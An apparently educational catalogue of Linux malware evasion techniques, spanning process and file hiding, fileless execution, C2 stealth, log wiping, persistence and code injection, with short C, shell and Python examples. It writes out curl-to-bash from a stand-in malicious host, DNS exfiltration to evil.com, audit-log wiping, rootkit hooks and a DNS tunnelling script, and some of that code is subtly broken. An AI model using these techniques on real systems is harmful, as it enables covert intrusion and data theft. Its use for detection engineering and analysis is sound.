Linux Malware Evasion Techniques
This document summarizes common Linux malware evasion techniques for educational and research purposes.
Disclaimer: This is intended for security research, malware analysis, and detection engineering — do not use for malicious purposes.
1. Process Hiding
Malware often hides its presence from process monitoring tools.
- LD_PRELOAD hooking
- Injects a shared library before system libraries to intercept libc calls like
readdir(), ps, or netstat.
- Example:
export LD_PRELOAD="./rootkit.so" && ps aux
- /proc filesystem manipulation
- Alters or filters
/proc/<pid> entries to hide malicious processes.
- Mounting tmpfs over
/proc/<malicious_pid> to hide specific processes.
- Kernel rootkits
- Loadable kernel modules (LKM) hook syscalls like
getdents() to hide processes, files, and sockets.
- Hooking
sys_call_table entries for getdents64, stat, lstat.
- Namespace isolation
- Uses container-like namespaces to avoid detection from the host OS.
unshare --pid --fork --mount-proc creates isolated process view.
- Process name masquerading
- Modifying
argv[0] and /proc/self/comm to appear as kernel threads: [kworker/0:1].
- Using
prctl(PR_SET_NAME, "fake_name") to change process name.
- Parent process spoofing
- Forking legitimate processes and using
ptrace to inject code.
- Signal handling evasion
- Intercepting
SIGTERM, SIGKILL attempts to prevent termination.
2. Filesystem Stealth
Malware can hide payloads or blend in with legitimate files.
- Unusual storage locations
- Dropping files in
/dev/shm, /run, or /tmp/.X11-unix/ (often cleared on reboot).
- Hidden directories:
/var/tmp/.ICE-unix/, /usr/share/man/.hidden/
- Abusing world-writable directories:
/tmp, /var/tmp, /dev/shm
- Extended attributes (xattrs)
- Storing data in file metadata instead of file contents.
setfattr -n user.payload -v "base64_data" file.txt
- Using security.* namespace for persistence on SELinux systems.
- Timestamp manipulation
- Setting file times to match system binaries (
utime()).
touch -r /bin/ls malware copies timestamps from legitimate binary.
- Binary patching
- Injecting code into legitimate executables (e.g.,
/bin/ssh).
- ELF section injection, PLT/GOT hooking, entry point redirection.
- File hiding techniques
- Dot-prefixed files and directories (
.hidden_malware).
- Zero-width Unicode characters in filenames.
- Files with special characters: spaces, newlines, control chars.
- Symlink mazes to confuse analysis tools.
- Steganography
- Hiding payloads in image files, logs, or configuration files.
- Embedding code in comments of legitimate config files.
- SUID/SGID abuse
- Creating fake SUID binaries in common locations.
- Modifying existing SUID binaries for privilege escalation backdoors.
3. Execution Evasion
Avoiding detection by blending into normal system activity.
- Living-off-the-land (LOTL)
- Using built-in tools (
bash, awk, curl, wget, python, perl) to execute malicious logic.
bash -c "$(curl -s malicious-site.com/script)" for fileless execution.
- Abusing interpreters:
python -c "exec(__import__('base64').b64decode('payload'))"
- Process name spoofing
- Changing
argv[0] to look like a kernel or system process.
- Example:
exec -a '[kworker/0:1]' ./malware
- Cron job stealth
- Hiding persistence jobs in
/etc/cron.d/ or user crontabs with harmless names.
- Using
@reboot directive for immediate execution after restart.
- Service masquerading
- Creating systemd services with legitimate-sounding names.
- Modifying existing service files to include malicious ExecStartPre commands.
- Interpreter abuse
- Using Node.js, PHP, Ruby for execution:
node -e "require('child_process').exec('malware')"
- Shell built-ins to avoid external process creation:
eval $(echo payload | base64 -d)
- Environment variable injection
- Storing payloads in environment variables:
export PAYLOAD=$(base64 -d <<< "encoded")
- Shared library injection
- Using
LD_LIBRARY_PATH to load malicious shared objects.
- Constructor functions (
__attribute__((constructor))) for automatic execution.
4. Memory-Only Payloads
Running malicious code entirely in memory.
- In-memory ELF execution
- Using
memfd_create or /dev/shm to run binaries without writing to disk.
memfd_create("", MFD_CLOEXEC) creates anonymous file descriptor.
- Example:
echo -ne '\x7fELF...' | base64 -d > /dev/fd/3 3<&1 && exec /dev/fd/3
- Reflective ELF loading
- Loading ELF files directly into memory without using the standard loader.
- Manual parsing of ELF headers and section mapping with
mmap().
- ptrace injection
- Attaching to another process and injecting code into its memory.
ptrace(PTRACE_POKETEXT) to write shellcode into target process.
- Shared memory segments
- Using
shmget() and shmat() to create inter-process communication channels.
- Storing payloads in System V shared memory or POSIX shared memory.
- Process hollowing
- Starting legitimate process in suspended state and replacing its memory.
- Using
execve() with custom memory layout manipulation.
- Dynamic library loading
dlopen() with in-memory shared objects created via memfd_create.
- Loading malicious code as plugins into legitimate applications.
5. Network Stealth
Hiding C2 (Command & Control) communications and network activity.
- Raw socket backdoors
- Listening for magic packets instead of opening a normal port.
- Using
socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)) for packet capture.
- ICMP tunneling: embedding commands in ping packets.
- Reverse shells over allowed ports
- Using HTTPS, DNS, or SSH tunnels to bypass firewalls.
- DNS exfiltration:
dig $(echo data | base64).evil.com
- HTTP/HTTPS with legitimate user agents and headers.
- Socket hiding
- Hooking
/proc/net/tcp or network tools to hide connections.
- LD_PRELOAD hooking of
netstat, ss, lsof commands.
- Protocol mimicry
- Making malicious traffic look like legitimate protocols.
- HTTP traffic disguised as web browsing with proper headers.
- Mimicking SSH, FTP, or other expected protocols.
- Encrypted channels
- Custom encryption to avoid DPI (Deep Packet Inspection).
- Using legitimate encryption libraries (OpenSSL, libsodium).
- Timing evasion
- Random delays between communications to avoid pattern detection.
- Sleeping during business hours to blend with legitimate traffic.
- Domain fronting
- Using CDN edge servers to hide actual C2 destination.
- Routing traffic through legitimate cloud services.
6. Anti-Analysis & Persistence
Detecting or avoiding security monitoring tools.
- VM/Sandbox detection
- Checking
/sys/class/dmi/id/ for virtualization strings.
- Detecting QEMU devices or low system uptime.
- Hardware checks: CPU count, RAM size, disk space limitations.
- Hypervisor detection via CPUID instruction.
- Multi-stage loaders
- Using a benign-looking first stage that downloads/decrypts the real payload.
- Time-delayed execution to avoid dynamic analysis.
- Geolocation checks to ensure target environment.
- Systemd persistence
- Creating fake services in
/etc/systemd/system/ that blend in with legitimate ones.
- User systemd services:
~/.config/systemd/user/
- Socket activation for on-demand malware execution.
- Analysis tool detection
- Checking for debuggers:
ptrace(PTRACE_TRACEME, 0, NULL, NULL)
- Detecting monitoring tools:
ps, strace, ltrace, gdb
- Looking for security products: ClamAV, YARA, Suricata processes.
- Packer/Crypter evasion
- Runtime unpacking to avoid static analysis.
- Custom encryption with environment-specific keys.
- Anti-disassembly techniques: junk code, opaque predicates.
- Log evasion
- Clearing wtmp, utmp, lastlog:
> /var/log/wtmp
- Disabling auditd:
service auditd stop
- Modifying rsyslog configuration to exclude malicious activity.
7. Binary Obfuscation & Anti-Forensics
Making malware analysis more difficult through code obfuscation.
- Control flow obfuscation
- Flattening control flow graphs with dispatcher loops.
- Adding bogus conditional jumps and dead code branches.
- String obfuscation
- XOR encoding strings with runtime decryption.
- Stack-based string construction:
char s[] = {0x68, 0x65, 0x6c, 0x6c, 0x6f, 0};
- API obfuscation
- Dynamic symbol resolution with
dlsym().
- Syscall obfuscation: direct syscall invocation vs. libc wrappers.
- Self-modifying code
- Runtime code generation and modification.
- Polymorphic engines that change code signatures.
- Anti-debugging
- Exception-based anti-debugging (SIGTRAP handling).
- Timing checks to detect debugger overhead.
- Code integrity checks with checksums.
- Evidence destruction
- Secure deletion with multiple overwrites (
shred -vfz -n 10).
- Memory scrubbing after payload execution.
- Temporary file cleanup and history manipulation.
8. Privilege Escalation Evasion
Techniques for escalating privileges while avoiding detection.
- SUID/SGID exploitation
- Finding custom SUID binaries with vulnerabilities.
- Race conditions in file operations (TOCTOU attacks).
- Kernel exploits
- Local privilege escalation through kernel vulnerabilities.
- Exploiting outdated kernel versions and modules.
- Container escapes
- Breaking out of Docker/LXC containers to host system.
- Abusing privileged containers and bind mounts.
- Credential harvesting
- Dumping
/etc/shadow and cracking password hashes.
- Stealing SSH keys from
~/.ssh/ directories.
- Memory scraping for plaintext credentials.
- Sudo abuse
- Exploiting misconfigured sudo permissions.
- Using
sudo -l to enumerate allowed commands.
- GTFOBins exploitation for sudo-enabled binaries.
9. Container & Cloud Evasion
Modern techniques for containerized and cloud environments.
- Container breakouts
- Exploiting misconfigured Docker daemon sockets.
- Abusing privileged containers and host namespaces.
- Mounting host filesystem:
docker run -v /:/host ...
- Kubernetes exploitation
- Service account token abuse from
/var/run/secrets/.
- Pod-to-pod lateral movement through network policies.
- Exploiting RBAC misconfigurations.
- Cloud metadata abuse
- Accessing instance metadata:
curl 169.254.169.254/latest/meta-data/
- Stealing IAM credentials from metadata service.
- Cross-account resource access through misconfigurations.
- Serverless evasion
- Lambda function hijacking and persistence.
- Cold start timing manipulation for evasion.
- Environment variable injection in serverless functions.
10. Advanced Persistence Mechanisms
Sophisticated methods for maintaining long-term access.
- UEFI/BIOS persistence
- Installing rootkits in firmware for boot-level persistence.
- Modifying bootloaders (GRUB) for early-stage execution.
- Kernel module persistence
- Creating custom loadable kernel modules (LKMs).
- Hiding modules from
lsmod through list manipulation.
- Library interposition
- Replacing standard libraries in
/lib/ or /usr/lib/.
- Using LD_PRELOAD globally through
/etc/ld.so.preload.
- Inode persistence
- Modifying filesystem inodes directly to hide files.
- Using debugfs to manipulate ext2/3/4 filesystems.
- Hardware persistence
- Firmware rootkits in network cards, USB devices.
- BMC (Baseboard Management Controller) compromise.
- Supply chain persistence
- Compromising package repositories and update mechanisms.
- Backdooring commonly used libraries and dependencies.
11. Code Injection Techniques
Methods for injecting malicious code into running processes.
- Shared library injection
- Using
LD_PRELOAD to load malicious libraries.
dlopen() for runtime library loading.
- Process injection
ptrace() for code injection into target processes.
/proc/PID/mem manipulation for direct memory access.
- ELF manipulation
- PLT/GOT hooking for function interception.
- Entry point modification in ELF binaries.
- Return-oriented programming (ROP)
- Chaining existing code gadgets for execution.
- Bypassing DEP/NX protections through ROP chains.
- Signal handler hijacking
- Overwriting signal handlers for code execution.
- Using
sigaction() to register malicious handlers.
12. Practical Code Examples
LD_PRELOAD Hook Example
// hook.c - Simple function hooking
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
int (*original_printf)(const char *format, ...) = NULL;
int printf(const char *format, ...) {
if (!original_printf) {
original_printf = dlsym(RTLD_NEXT, "printf");
}
// Intercept and filter output
if (strstr(format, "malware") != NULL) {
return 0; // Hide lines containing "malware"
}
va_list args;
va_start(args, format);
int result = original_printf(format, args);
va_end(args);
return result;
}
In-Memory ELF Execution
// memfd_exec.c - Execute ELF from memory
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
int memfd_create(const char *name, unsigned int flags) {
return syscall(SYS_memfd_create, name, flags);
}
void execute_in_memory(char *elf_data, size_t size) {
int fd = memfd_create("", MFD_CLOEXEC);
write(fd, elf_data, size);
fexecve(fd, argv, envp);
close(fd);
}
Process Hiding via /proc Manipulation
#!/bin/bash
# hide_process.sh - Hide process from ps output
MALWARE_PID=1234
mount -t tmpfs tmpfs /proc/$MALWARE_PID
echo "Process $MALWARE_PID hidden from /proc"
Syscall Hooking (Kernel Module)
// syscall_hook.c - Hook getdents64 syscall
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/syscalls.h>
static unsigned long **sys_call_table;
static asmlinkage long (*original_getdents64)(unsigned int fd,
struct linux_dirent64 __user *dirp, unsigned int count);
asmlinkage long hooked_getdents64(unsigned int fd,
struct linux_dirent64 __user *dirp, unsigned int count) {
long ret = original_getdents64(fd, dirp, count);
// Filter out malicious entries
return filter_entries(dirp, ret);
}
DNS Tunneling Example
#!/usr/bin/env python3
# dns_tunnel.py - Simple DNS exfiltration
import base64
import subprocess
def exfiltrate_data(data, domain):
encoded = base64.b64encode(data.encode()).decode()
# Split into DNS-safe chunks
chunks = [encoded[i:i+60] for i in range(0, len(encoded), 60)]
for chunk in chunks:
subdomain = f"{chunk}.{domain}"
subprocess.run(['nslookup', subdomain],
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL)
References
General Resources
Persistence & Evasion
Memory & Code Injection
Container & Cloud Security
Forensics & Anti-Analysis
Research Papers & Whitepapers
Author: {X.COM/ALIF101XL}
License: MIT INDONESIA